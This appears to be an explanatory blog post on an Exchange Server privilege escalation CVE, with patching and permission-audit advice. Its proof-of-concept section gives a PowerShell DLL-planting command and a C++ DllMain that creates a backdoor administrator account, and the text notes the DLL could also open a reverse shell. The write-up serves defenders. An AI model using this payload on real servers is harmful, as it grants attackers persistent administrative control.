In November 2022, Microsoft published information about multiple security flaws across its products. One of these, CVE-2022-41123, specifically affects Microsoft Exchange Server and allows attackers to escalate privileges—meaning they can gain higher-level access than they should have. If you administer Exchange servers, understanding this vulnerability is important, as attackers regularly probe for such openings. This write-up simplifies the technical details, shows a practical exploitation scenario, and points you towards key references.

What is CVE-2022-41123?

CVE-2022-41123 is labeled as an Elevation of Privilege (EoP) Vulnerability in Microsoft Exchange Server. Specifically:

Exploitability: Low complexity, requires local access

This vulnerability is *distinct* from CVE-2022-41080, which is another Exchange bug from the same month, but with a different root cause.

Official Microsoft Advisory:  
Microsoft Security Response Center: CVE-2022-41123

Technical Details (Simple Explanation)

Exchange uses Windows services running as high-privileged accounts, like the NETWORK SERVICE or even SYSTEM. Attackers who can run code as a low-privileged user on a vulnerable Exchange box (via another bug or social engineering) can use CVE-2022-41123 to escalate their privileges.

Root Cause

CVE-2022-41123 exists because of improper access control on certain files and folders used by Exchange. A local attacker can modify or replace some files (DLL planting or file symlink), causing Exchange services to execute malicious code as a higher-privileged account.

Proof-of-Concept Exploit

Below is a simulated scenario (not a destructive exploit) to help you understand how attackers would approach this vulnerability. DO NOT run code in production—this is for test labs only and educational intent.

Let’s assume the Exchange service loads DLLs from a predictable directory, and a non-admin user can write to it. The attacker could:

Example: Planting a DLL

# Attacker has write permissions to C:\Program Files\Microsoft\Exchange Server\V15\Bin
# Writes a crafted DLL ("evil.dll") to this location

Copy-Item -Path C:\temp\evil.dll -Destination "C:\Program Files\Microsoft\Exchange Server\V15\Bin"

# Restart the Exchange service to trigger loading the attacker's DLL
Restart-Service MSExchangeServiceHost

The evil.dll can contain code to pop a reverse shell or add a new admin user

// DLLMain.cpp - Simple C++ DLL
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("net user hackedUser P@sswrd! /add");
        system("net localgroup Administrators hackedUser /add");
    }
    return TRUE;
}

Result: After the service restarts, a new local admin "hackedUser" is created by SYSTEM privileges.

Exploit Flow Diagram

Unprivileged User
      |
      v
Gains Write Access (to Exchange service folder)
      |
      v
Drops Malicious DLL (or creates symlink)
      |
      v
Exchange Service Loads Malicious DLL (as SYSTEM)
      |
      v
Attacker Gets Elevated Privileges

Check Patch Level: Make sure you are running the November 2022 (or later) patches.

- November 2022 Security Updates for Exchange
2. Audit Permissions: Ensure non-admin users do not have write access to Exchange directories, particularly under \Program Files\Microsoft\Exchange Server\.

Original References

- Microsoft Security Advisory for CVE-2022-41123
- NVD – National Vulnerability Database Entry
- Exchange Team Blog: November 2022 Updates
- Huntress Blog: Dangerous Exchange Vulnerabilities (Explained)

How to Fix

Apply official patches IMMEDIATELY. Microsoft has released updates that fix the underlying access control issue. Don't delay—these vulnerabilities often get exploited quickly after disclosure.

Temporary Mitigation: If patches cannot be installed, restrict write permissions on Exchange directories as a stopgap.

Summary

CVE-2022-41123 demonstrates how *local* bugs can become *critical* in high-value software like Microsoft Exchange Server. It is different from other Exchange bugs circulating at the same time and is still regularly probed for exploitation in the wild. Keep your servers patched, minimize unnecessary write permissions, and monitor for unusual behavior.

Have further questions? You can read Microsoft’s FAQ on this CVE or consult the cybersecurity community for ongoing updates.

Timeline

Published on: 11/09/2022 22:15:00 UTC
Last modified on: 11/10/2022 00:33:00 UTC